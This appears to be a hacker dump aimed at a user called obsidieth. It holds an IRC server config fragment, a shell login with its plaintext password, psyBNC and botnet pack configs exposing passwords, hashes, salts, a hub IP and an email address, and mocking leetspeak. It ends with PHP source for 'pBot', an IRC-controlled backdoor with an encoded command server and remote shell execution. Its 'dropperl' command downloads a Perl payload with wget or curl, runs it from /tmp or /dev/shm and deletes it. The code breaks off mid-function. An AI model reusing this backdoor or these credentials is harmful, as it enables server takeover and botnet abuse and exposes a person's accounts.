* +d - debug - See debugging notices
|
||
* +f - full - See I: line full notices
|
||
* +g - callerid - Server Side Ignore
|
||
* +i - invisible - Not shown in NAMES or WHO unless you share a
|
||
* a channel
|
||
* +k - skill - See server generated KILL messages
|
||
* +l - locops - See LOCOPS messages
|
||
* +n - nchange - See client nick changes
|
||
* +r - rej - See rejected client notices
|
||
* +s - servnotice - See general server notices
|
||
* +u - unauth - See unauthorised client notices
|
||
* +w - wallop - See server generated WALLOPS
|
||
* +x - external - See remote server connection and split
|
||
notices
|
||
* +y - spy - See LINKS, STATS, TRACE notices etc.
|
||
* +z - operwall - See oper generated WALLOPS
|
||
* +Z - operspy - See operspy notices
|
||
*/
|
||
|
||
/* oper only umodes: usermodes only opers may set */
|
||
oper_only_umodes = bots, cconn, debug, full, skill, nchange,
|
||
rej, spy, external, operwall, locops, unauth;
|
||
|
||
/* oper umodes: default usermodes opers get when they /oper */
|
||
oper_umodes = locops, servnotice, operwall, wallop;
|
||
|
||
/* servlink path: path to 'servlink' program used by ircd to
|
||
handle
|
||
* encrypted/compressed server <-> server links.
|
||
*
|
||
* only define if servlink is not in same directory as ircd
|
||
itself.
|
||
*/
|
||
#servlink_path = "/usr/local/ircd/bin/servlink";
|
||
|
||
/* use egd: if your system does not have *random devices yet you
|
||
* want to use OpenSSL and encrypted links, enable this. Beware -
|
||
* EGD is *very* CPU intensive when gathering data for its pool
|
||
*/
|
||
#use_egd = yes;
|
||
|
||
/* egdpool path: path to EGD pool. Not necessary for OpenSSL >=
|
||
0.9.7
|
||
* which automatically finds the path.
|
||
*/
|
||
#egdpool_path = "/var/run/egd-pool";
|
||
|
||
|
||
/* compression level: level of compression for compressed links
|
||
between
|
||
* servers.
|
||
*
|
||
* values are between: 1 (least compression, fastest)
|
||
* and: 9 (most compression, slowest).
|
||
*/
|
||
#compression_level = 6;
|
||
|
||
/* burst_away: This enables bursting away messages to servers.
|
||
* With this disabled, we will only propogate AWAY messages
|
||
* as users send them, but never burst them. Be warned though
|
||
* enabling this could increase the size of a burst significantly
|
||
* for a large network, like EFnet.
|
||
*/
|
||
burst_away = yes;
|
||
|
||
/* reject time: the amount of rejections through klines/dlines etc
|
||
* allowed in the given time before the rejection is cached and
|
||
* a pseudo temp dline is placed
|
||
*/
|
||
reject_ban_time = 1 minute;
|
||
reject_after_count = 3;
|
||
|
||
/* reject duration: the amount of time to cache the rejection */
|
||
reject_duration = 5 minutes;
|
||
|
||
/* max_unknown_ip: maximum number of pending connections to the
|
||
server
|
||
* that are allowed per IP address
|
||
*/
|
||
max_unknown_ip = 2;
|
||
};
|
||
|
||
modules {
|
||
/* module path: paths to search for modules specified below and
|
||
* in /modload.
|
||
*/
|
||
path = "/home/boxlink/ircd/modules";
|
||
path = "/home/boxlink/ircd/modules/autoload";
|
||
|
||
/* module: the name of a module to load on startup/rehash */
|
||
#module = "some_module.so";
|
||
};
|
||
|
||
|
||
LAGGING.NET SHELL
|
||
|
||
sh-3.2# ssh odog@lagging.net
|
||
|
||
odog@lagging.net's password: sponberg
|
||
|
||
Last login: Sun Apr 12 10:54:11 2009 from ca.killbox.info
|
||
|
||
Linux stealth 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686
|
||
|
||
|
||
|
||
|
||
|
||
Linux stealth 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686
|
||
|
||
|
||
|
||
Welcome to stealth.kire.net, odog!
|
||
|
||
You have just logged into KIRE
|
||
|
||
|
||
|
||
..::: Your (K)ey (I)nnovative (R)eliable (E)dge :::..
|
||
|
||
_________________________ __________________________
|
||
|
||
.' * KIRE Shell Commands * `. .' * Customer Service * `.
|
||
|
||
| ------------------------- | | -------------------------- |
|
||
|
||
| read/write e-mail: 'pine' | | toll free: 1-877-KIRENET |
|
||
|
||
| linux web browser: 'lynx' | | billing: sales@kirenet.com |
|
||
|
||
| shell irc apps: 'clients' | | tech: support@kirenet.com |
|
||
|
||
| auto setup menu: 'setup' | | admins: admins@kirenet.com |
|
||
|
||
| view vhost list: 'vhosts' | | web: http://www.kire.net |
|
||
|
||
`._________________________.' `.__________________________.'
|
||
|
||
|
||
|
||
|
||
|
||
10:57:25 up 32 days, 17:53, 7 users, load average: 0.41, 0.41, 0.48
|
||
|
||
|
||
|
||
(odog@stealth:~) uname -a;id
|
||
|
||
Linux stealth 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/
|
||
Linux
|
||
|
||
uid=3028(odog) gid=100(users) groups=100(users)
|
||
|
||
|
||
$ ls -la dox
|
||
total 1744
|
||
drwxr-xr-x 9 me me 4096 2009-04-13 03:20 .
|
||
drwxr-xr-x 3 me me 4096 2009-04-13 03:20 ..
|
||
drwxr-xr-x 12 me me 4096 2009-04-13 03:20 eggdrop
|
||
drwxr-xr-x 10 me me 4096 2009-04-13 03:20 eggdrop1.6.19
|
||
-rw-r--r-- 1 me me 1033152 2009-03-17 22:22 eggdrop1.6.19.tar.gz
|
||
drwxr-xr-x 3 me me 4096 2009-04-13 03:20 hub
|
||
drwxr-xr-x 11 me me 4096 2009-04-13 03:20 psybnc
|
||
-rw-r--r-- 1 me me 312177 2005-08-19 14:52 psyBNC-2.3.2-7.tar.gz
|
||
drwxr-xr-x 3 me me 4096 2009-04-13 03:20 public_html
|
||
drwxr-xr-x 2 me me 4096 2009-04-13 03:20 tmp
|
||
drwxr-xr-x 5 me me 4096 2009-04-13 03:20 znc-0.062
|
||
-rw-r--r-- 1 me me 382123 2008-12-06 10:40 znc-0.062.tar.gz
|
||
me@me-desktop:~/Documents/hax/current/obsidieth/shell@lagging.net$
|
||
|
||
$ cat psybnc.conf
|
||
PSYBNC.HOSTALLOWS.ENTRY0=*;*
|
||
PSYBNC.SYSTEM.HOST1=*
|
||
PSYBNC.SYSTEM.PORT1=33000
|
||
USER1.USER.LOGIN=odog
|
||
USER1.USER.USER=odog
|
||
USER1.USER.PASS==0C'$`Z`D1q'B`I`Z'7
|
||
USER1.USER.RIGHTS=1
|
||
USER1.USER.VLINK=0
|
||
USER1.USER.PPORT=0
|
||
USER1.USER.PARENT=0
|
||
USER1.USER.QUITTED=0
|
||
USER1.USER.DCCENABLED=1
|
||
USER1.USER.AUTOGETDCC=0
|
||
USER1.USER.AIDLE=0
|
||
USER1.USER.LEAVEQUIT=0
|
||
USER1.USER.AUTOREJOIN=1
|
||
USER1.USER.SYSMSG=1
|
||
USER1.USER.LASTLOG=0
|
||
USER1.USER.CERT=+
|
||
USER1.USER.VHOST=lagging.net
|
||
USER1.USER.NICK=obs|dieth
|
||
USER1.SERVERS.SERVER1=irc.shoutcast.com
|
||
USER1.SERVERS.PORT1=6667
|
||
USER1.CHANNELS.ENTRY1=#187
|
||
USER1.CHANNELS.KEY1=+1R1Q1&23202u2o2H1L
|
||
USER1.CHANNELS.ENTRY2=#24/7
|
||
USER1.CHANNELS.ENTRY3=#2<>000
|
||
USER1.CHANNELS.ENTRY4=#30plus
|
||
USER1.CHANNELS.ENTRY5=#addiction
|
||
USER1.CHANNELS.ENTRY6=#anus
|
||
USER1.CHANNELS.ENTRY7=#anxiety
|
||
USER1.CHANNELS.ENTRY8=#c1zc0
|
||
USER1.CHANNELS.ENTRY9=#channel
|
||
USER1.CHANNELS.ENTRY10=#crank
|
||
USER1.CHANNELS.ENTRY11=#crunk
|
||
USER1.CHANNELS.ENTRY13=#Efnet.Dinosaurs
|
||
USER1.CHANNELS.ENTRY14=#freeShit
|
||
USER1.CHANNELS.ENTRY15=#glow
|
||
USER1.CHANNELS.ENTRY16=#Help
|
||
USER1.CHANNELS.ENTRY17=#Hydroponics
|
||
USER1.CHANNELS.ENTRY18=#I_TAKE_IRC_SERIOUSLY
|
||
USER1.CHANNELS.ENTRY19=#ignorant
|
||
USER1.CHANNELS.ENTRY20=#irc-mafia
|
||
USER1.CHANNELS.ENTRY21=#Irc-operators
|
||
USER1.CHANNELS.ENTRY22=#ircaddict
|
||
USER1.CHANNELS.ENTRY23=#lords
|
||
USER1.CHANNELS.ENTRY24=#OlsenTwins
|
||
USER1.CHANNELS.ENTRY26=#trill
|
||
USER1.CHANNELS.ENTRY27=#trusted
|
||
USER1.CHANNELS.ENTRY12=#on-a-stick
|
||
USER1.CHANNELS.ENTRY25=#efnet
|
||
USER1.CHANNELS.ENTRY0=#flirts
|
||
USER1.CHANNELS.ENTRY28=#ubun2
|
||
|
||
|
||
$ cat pack.cfg
|
||
/* The < && > indicates the area you must change!
|
||
* Do not leave the <>
|
||
* Credit to Excelsior / CELDROP for this design
|
||
*/
|
||
|
||
/* PACKNAME: name of the pack */
|
||
PACKNAME catalept
|
||
|
||
/* HASHES
|
||
* These must remain 100% secure/private, these keys can retrieve the
|
||
salts, and
|
||
* the entire botnet could be hijacked, a pass 8 chars or more is
|
||
suggested
|
||
* DO NOT FORGET THESE, SAVE THEM IN A SAFE PLACE, THEY CANNOT BE
|
||
RECOVERED.
|
||
* ONLY SEND ME MD5 HASHES, I WILL NOT HASH IT FOR YOU AND I DO NOT WANT
|
||
TO KNOW
|
||
* YOUR PASSES.
|
||
*/
|
||
|
||
/* SHELLHASH: 32 char md5 hash used for binary password
|
||
* in mIRC: //echo -a $MD5(SOMEWORD)
|
||
* URL: http://www.shatow.net/crypt/
|
||
*/
|
||
SHELLHASH a8f5f167f44f4964e6c998dee827110c
|
||
|
||
/* BDHASH: 32 char MD5 hash used for IRC backdoor
|
||
* in mIRC: //echo -a $MD5(SOMEWORD)
|
||
* URL: http://www.shatow.net/crypt/
|
||
# NOTE: Botlink uses this for linking, if it is changed on a bot, it wont
|
||
link to another
|
||
bot unless
|
||
# the other bot has the same bdhash. (Protects your botnet, trust me) */
|
||
BDHASH 73f4b98d80efb8888a2b32073417e21e
|
||
|
||
/* DCCPREFIX: 1 char cmd prefix for dcc. (ie, .cmd or !cmd) */
|
||
DCCPREFIX .
|
||
|
||
/* The settings below can each be defined multiple times */
|
||
|
||
/* OWNER <nick password host>
|
||
* Multiple OWNER lines may be defined, each will be added as a +a perm
|
||
owner.
|
||
* nick: nickname what else?
|
||
* password: initial password for user. DO NOT MAKE THIS YOUR NORMAL
|
||
PASSWORD.
|
||
* host: hosts of the user that will be accepted for telnet only.
|
||
* This should be your static home ip or a shell you will never
|
||
lose.
|
||
* These hosts will NOT be recognized on irc.
|
||
*/
|
||
OWNER obsidieth asdasd odog@lagging.net
|
||
|
||
/* OWNEREMAIL: email addresses that status/errors will be sent to when
|
||
needed
|
||
* list as many as needed
|
||
*/
|
||
OWNEREMAIL wervolf@tpg.com.au
|
||
|
||
/* HUB <nick host port>
|
||
* Hubs are ranked by the order they are listed
|
||
* nick: nick of hub
|
||
* host: hostname or ip of hub (A 'dynamic' OR 'changeable' HOSTNAME IS
|
||
RECOMMENDED)
|
||
* port: port the hub listens on
|
||
*
|
||
* Your hub hosts should NOT be vhosts. They need to be changable dns.
|
||
* Use a domain you OWN/CONTROL, or a friends.
|
||
* I will *not* rush to remake binaries if asked because of hub host
|
||
problems.
|
||
*/
|
||
HUB catalept 63.162.10.73 6969
|
||
|
||
|
||
SALT1 G31ezZf84;72xLS1-Zx7{,82xLQEGD^y
|
||
SALT2 8<C5||{1_LjZF5<z
|
||
|
||
|
||
THIS ISNT ALL.... OBSIDIETH IS A LITTLE DD0Z K1DD13. CAN J00 DD0Z G00GL3
|
||
4 M3 PLX? K7HXXXXX <3
|
||
|
||
<?
|
||
|
||
|
||
|
||
/****************************************************/
|
||
|
||
/* pbel - by s0
|
||
*/
|
||
|
||
/* credits: the original author of pbot ( ? ) */
|
||
|
||
/****************************************************/
|
||
|
||
|
||
|
||
|
||
|
||
set_time_limit( 0 );
|
||
|
||
error_reporting( 0 );
|
||
|
||
echo "Success!";
|
||
|
||
|
||
|
||
class pBot
|
||
|
||
{
|
||
|
||
var $using_encode = true;
|
||
|
||
|
||
|
||
var $config = array(
|
||
|
||
'server' =>
|
||
'cy1wLW8tby1mLWUtZC5oLW8tcy10Lm5hbWU=', //server here (base64)
|
||
|
||
'port' => 4545,
|
||
|
||
'chan' => 'IWZyaA==', //channel
|
||
here (base64) DO NOT USE "#", "#lazy" = "lazy"
|
||
|
||
'key' => '',
|
||
|
||
'nickform' => 'SLOTH[%d]',
|
||
|
||
'identp' => 'ez',
|
||
|
||
'modes' => '+p',
|
||
|
||
'maxrand' => 6,
|
||
|
||
'cprefix' => '.',
|
||
|
||
'host' => '*'
|
||
|
||
);
|
||
|
||
|
||
|
||
var $admins = array
|
||
|
||
(
|
||
|
||
'anthis' => '098f6bcd4621d373cade4e832627b4f6',
|
||
|
||
't0nix' => '6f1ed002ab5595859014ebf0951522d9'
|
||
|
||
//passes are MD5 format, you can also have
|
||
multiple admins
|
||
|
||
);
|
||
|
||
|
||
|
||
function auth_host( $nick, $password, $host )
|
||
|
||
{
|
||
|
||
$admin_count = count( $this->admins );
|
||
|
||
if( $admin_count > 0 )
|
||
|
||
{
|
||
|
||
$mpass = md5( $password );
|
||
|
||
if( $this->admins[ $nick ] == $mpass )
|
||
|
||
{
|
||
|
||
$this->users[ $host ] = true;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
$this->users[ $host ] = true;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
function is_authed( $host )
|
||
|
||
{
|
||
|
||
return isset( $this->users[ $host ] );
|
||
|
||
}
|
||
|
||
|
||
|
||
function remove_auth( $host )
|
||
|
||
{
|
||
|
||
unset( $this->users[ $host ] );
|
||
|
||
}
|
||
|
||
|
||
|
||
function ex( $cfe )
|
||
|
||
{
|
||
|
||
$res = '';
|
||
|
||
if (!empty($cfe))
|
||
|
||
{
|
||
|
||
if(function_exists('class_exists') &&
|
||
class_exists('Perl'))
|
||
|
||
{
|
||
|
||
$perl = new Perl();
|
||
|
||
$perl->eval( "system('$cfe');" );
|
||
|
||
}
|
||
|
||
if(function_exists('exec'))
|
||
|
||
{
|
||
|
||
@exec($cfe,$res);
|
||
|
||
$res = join("\n",$res);
|
||
|
||
}
|
||
|
||
elseif(function_exists('shell_exec'))
|
||
|
||
{
|
||
|
||
$res = @shell_exec($cfe);
|
||
|
||
}
|
||
|
||
elseif(function_exists('system'))
|
||
|
||
{
|
||
|
||
@ob_start();
|
||
|
||
@system($cfe);
|
||
|
||
$res = @ob_get_contents();
|
||
|
||
@ob_end_clean();
|
||
|
||
}
|
||
|
||
elseif(function_exists('passthru'))
|
||
|
||
{
|
||
|
||
@ob_start();
|
||
|
||
@passthru($cfe);
|
||
|
||
$res = @ob_get_contents();
|
||
|
||
@ob_end_clean();
|
||
|
||
}
|
||
|
||
elseif(function_exists('proc_open'))
|
||
|
||
{
|
||
|
||
$res = proc_open($cfe);
|
||
|
||
}
|
||
|
||
elseif(@is_resource($f = @popen
|
||
($cfe,"r")))
|
||
|
||
{
|
||
|
||
$res = "";
|
||
|
||
while(!@feof($f)) { $res .=
|
||
@fread($f,1024); }
|
||
|
||
@pclose($f);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
return $res;
|
||
|
||
}
|
||
|
||
|
||
|
||
function is_safe( )
|
||
|
||
{
|
||
|
||
if( ( @eregi( "uid", $this->ex( "id" ) ) ) || (
|
||
@eregi( "Windows", $this->ex( "net start" ) ) ) )
|
||
|
||
{
|
||
|
||
return 0;
|
||
|
||
}
|
||
|
||
return 1;
|
||
|
||
}
|
||
|
||
|
||
|
||
function get_chan( )
|
||
|
||
{
|
||
|
||
if( $this->using_encode )
|
||
|
||
{
|
||
|
||
return '#'.base64_decode( $this->config[
|
||
'chan' ] );
|
||
|
||
}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
return '#'.$this->config[ 'chan' ];
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
function start()
|
||
|
||
{
|
||
|
||
if( $this->using_encode )
|
||
|
||
{
|
||
|
||
if(!($this->conn = fsockopen
|
||
(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
|
||
|
||
{
|
||
|
||
$this->start();
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
if(!($this->conn = fsockopen($this->
|
||
config['server'],$this->config['port'],$e,$s,30)))
|
||
|
||
{
|
||
|
||
$this->start();
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
|
||
$ident = $this->config['prefix'];
|
||
|
||
$alph = range("0","9");
|
||
|
||
for( $i=0; $i < $this->config['maxrand']; $i++ )
|
||
|
||
{
|
||
|
||
$ident .= $alph[rand(0,9)];
|
||
|
||
}
|
||
|
||
|
||
|
||
if( strlen( $this->config[ 'pass' ] ) > 0 )
|
||
|
||
{
|
||
|
||
$this->send( "PASS ".$this->config[
|
||
'pass' ] );
|
||
|
||
}
|
||
|
||
|
||
|
||
$this->send("USER ".$ident." 127.0.0.1 localhost
|
||
:".php_uname()."");
|
||
|
||
$this->set_nick( );
|
||
|
||
$this->main( );
|
||
|
||
}
|
||
|
||
|
||
|
||
function main()
|
||
|
||
{
|
||
|
||
while(!feof($this->conn))
|
||
|
||
{
|
||
|
||
$this->buf = trim(fgets($this->
|
||
conn,512));
|
||
|
||
$cmd = explode(" ",$this->buf);
|
||
|
||
if(substr($this->buf,0,6)=="PING :")
|
||
|
||
{
|
||
|
||
$this->send("PONG :".substr
|
||
($this->buf,6));
|
||
|
||
}
|
||
|
||
if(isset($cmd[1]) && $cmd[1] =="001")
|
||
|
||
{
|
||
|
||
$this->send("MODE ".$this->nick."
|
||
".$this->config['modes']);
|
||
|
||
|
||
|
||
if( $this->using_encode )
|
||
|
||
{
|
||
|
||
$this->join($this->
|
||
get_chan( ),base64_decode($this->config['key']));
|
||
|
||
}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
$this->join($this->
|
||
get_chan( ),$this->config['key']);
|
||
|
||
}
|
||
|
||
|
||
|
||
if (@ini_get("safe_mode") or
|
||
strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
|
||
|
||
else { $safemode = "off"; }
|
||
|
||
$uname = php_uname();
|
||
|
||
}
|
||
|
||
if(isset($cmd[1]) && $cmd[1]=="433")
|
||
|
||
{
|
||
|
||
$this->set_nick();
|
||
|
||
}
|
||
|
||
if($this->buf != $old_buf)
|
||
|
||
{
|
||
|
||
$mcmd = array();
|
||
|
||
$msg = substr(strstr($this->buf,"
|
||
:"),2);
|
||
|
||
$msgcmd = explode(" ",$msg);
|
||
|
||
$nick = explode("!",$cmd[0]);
|
||
|
||
$vhost = explode("@",$nick[1]);
|
||
|
||
$vhost = $vhost[1];
|
||
|
||
$nick = substr($nick[0],1);
|
||
|
||
$host = $cmd[0];
|
||
|
||
if($msgcmd[0]==$this->nick)
|
||
|
||
{
|
||
|
||
for($i=0;$i<count
|
||
($msgcmd);$i++)
|
||
|
||
$mcmd[$i] =
|
||
$msgcmd[$i+1];
|
||
|
||
}
|
||
|
||
else
|
||
|
||
{
|
||
|
||
for($i=0;$i<count
|
||
($msgcmd);$i++)
|
||
|
||
$mcmd[$i] =
|
||
$msgcmd[$i];
|
||
|
||
}
|
||
|
||
if(count($cmd)>2)
|
||
|
||
{
|
||
|
||
switch($cmd[1])
|
||
|
||
{
|
||
|
||
case "QUIT":
|
||
|
||
{
|
||
|
||
if(
|
||
$this->is_authed( $host ) )
|
||
|
||
{
|
||
|
||
|
||
$this->remove_auth( $host );
|
||
|
||
}
|
||
|
||
}
|
||
|
||
break;
|
||
|
||
case "PART":
|
||
|
||
{
|
||
|
||
if(
|
||
$this->is_authed( $host ) )
|
||
|
||
{
|
||
|
||
|
||
$this->remove_auth( $host );
|
||
|
||
}
|
||
|
||
}
|
||
|
||
break;
|
||
|
||
case "PRIVMSG":
|
||
|
||
if( (
|
||
substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
|
||
|
||
{
|
||
|
||
|
||
if( $this->is_authed( $host ) == false )
|
||
|
||
{
|
||
|
||
|
||
switch( substr( $mcmd[ 0 ], 1 ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
case "auth":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->auth_host( $nick, $mcmd[ 1 ], $host );
|
||
|
||
|
||
if( $this->is_authed( $host ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ auth ]
|
||
Successful login from [ ".$nick." ]" );
|
||
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ auth ]
|
||
Failed attempt from [ ".$nick." ]" );
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
{
|
||
|
||
|
||
switch(substr($mcmd[0],1))
|
||
|
||
|
||
{
|
||
|
||
|
||
case "exec":
|
||
|
||
|
||
{
|
||
|
||
|
||
if( !$this->is_safe( ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$command = substr( strstr( $msg, $mcmd[0] ),
|
||
strlen( $mcmd[0] ) + 1 );
|
||
|
||
|
||
$returndata = $this->ex( $command );
|
||
|
||
|
||
if( !empty( $returndata ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '
|
||
[ exec ] '.$returndata );
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "info":
|
||
|
||
|
||
{
|
||
|
||
|
||
$safemode = "on";
|
||
|
||
|
||
if( !$this->is_safe( ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$safemode = "off";
|
||
|
||
|
||
}
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ info ]
|
||
'.php_uname( ).' ( SAFE: '.$safemode.' )' );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "safe":
|
||
|
||
|
||
{
|
||
|
||
|
||
$safemode = "on";
|
||
|
||
|
||
if( !$this->is_safe( ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$safemode = "off";
|
||
|
||
|
||
}
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ safe ]
|
||
'.$safemode );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "uname":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ uname ]
|
||
'.php_uname( ) );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "dropperl":
|
||
|
||
|
||
{
|
||
|
||
|
||
if( $this->is_safe( ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[
|
||
dropperl ] Safe mode is ON' );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$perl_file = $mcmd[1];
|
||
|
||
|
||
|
||
|
||
|
||
if( !empty( $perl_file ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$parsed_url = $this->parse_url_s( $perl_file
|
||
);
|
||
|
||
|
||
|
||
|
||
|
||
$new_remote = $parsed_url[ 'scheme' ].'://
|
||
'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
|
||
|
||
|
||
$new_local = $parsed_url[ 'file' ];
|
||
|
||
|
||
$file_type = $parsed_url[ 'file_ext' ];
|
||
|
||
|
||
|
||
|
||
|
||
$this->ex('cd /tmp;wget
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /tmp;curl -O
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /tmp;lwp-download
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /tmp;lynx -source
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /dev/shm;wget
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /dev/shm;curl -O
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /dev/shm;lwp-download
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /dev/shm;lynx -source
|
||
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
|
||
|
||
|
||
$this->ex('cd /tmp;rm -rf
|
||
*'.$file_type.'**');
|
||
|
||
|
||
$this->ex('cd /dev/shm;rm -rf
|
||
*'.$file_type.'**');
|
||
|
||
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[
|
||
execrfi ] Executed file '.$new_remote.$new_local );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ execrfi ]
|
||
Failure executing '.$perl_file );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "ip":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ ip ]
|
||
'.$_SERVER['SERVER_ADDR'] );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "execrfi":
|
||
|
||
|
||
{
|
||
|
||
|
||
$fileUrl = $mcmd[1];
|
||
|
||
|
||
|
||
|
||
|
||
if( !empty( $fileUrl ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$urli = parse_url( $fileUrl );
|
||
|
||
|
||
|
||
|
||
|
||
if( !empty( $urli['host'] ) && !empty( $urli
|
||
['path'] ) && !empty( $urli['query'] ) )
|
||
|
||
|
||
{
|
||
|
||
|
||
$fp = fsockopen( $urli['host'], 80,
|
||
$errno, $errstr, 5 );
|
||
|
||
|
||
|
||
|
||
|
||
if( $fp )
|
||
|
||
|
||
{
|
||
|
||
|
||
$out = "GET /".$urli
|
||
['path'].$urli['query']." HTTP/1.1\r\n";
|
||
|
||
|
||
$out .= "Host: ".$urli
|
||
['host']."\r\n";
|
||
|
||
|
||
$out .= "Keep-Alive: 300\r\
|
||
n";
|
||
|
||
|
||
$out .= "Connection:
|
||
keep-alive\r\n\r\n";
|
||
|
||
|
||
fwrite( $fp, $out );
|
||
|
||
|
||
|
||
|
||
|
||
$get_data = '';
|
||
|
||
|
||
|
||
|
||
|
||
while(!feof($fp))
|
||
|
||
|
||
{ $get_data .= fgets( $fp,
|
||
256 ); }
|
||
|
||
|
||
|
||
|
||
|
||
$this->privmsg( $this->
|
||
get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), '[ execrfi ]
|
||
Failure executing '.$fileUrl );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "base64":
|
||
|
||
|
||
{
|
||
|
||
|
||
$str_ed = substr( strstr( $msg, $mcmd[1] ), strlen(
|
||
$mcmd[1] ) + 1 );
|
||
|
||
|
||
switch( $mcmd[1] )
|
||
|
||
|
||
{
|
||
|
||
|
||
case "encode":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed)."' ]" );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "decode":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "
|
||
[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed)."' ]" );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "md5":
|
||
|
||
|
||
{
|
||
|
||
|
||
$str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen(
|
||
$mcmd[0] ) + 1 );
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ md5 ] [
|
||
'".$str_md5."' -> '".md5($str_md5)."' ]" );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "dns":
|
||
|
||
|
||
{
|
||
|
||
|
||
if(isset($mcmd[1]))
|
||
|
||
{
|
||
|
||
|
||
$ip = explode(".",$mcmd[1]);
|
||
|
||
|
||
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
|
||
|
||
|
||
&& is_numeric($ip[2]) && is_numeric
|
||
($ip[3]))
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr
|
||
($mcmd[1]));
|
||
|
||
}
|
||
|
||
|
||
else
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname
|
||
($mcmd[1]));
|
||
|
||
}
|
||
|
||
}
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "exit":
|
||
|
||
|
||
{
|
||
|
||
|
||
fclose( $this->conn );
|
||
|
||
|
||
exit( );
|
||
|
||
|
||
break;
|
||
|
||
|
||
}
|
||
|
||
|
||
case "restart":
|
||
|
||
|
||
{
|
||
|
||
|
||
$this->privmsg( $this->get_chan( ), "[ restart ]
|
||
executed by [".$nick."]" );
|
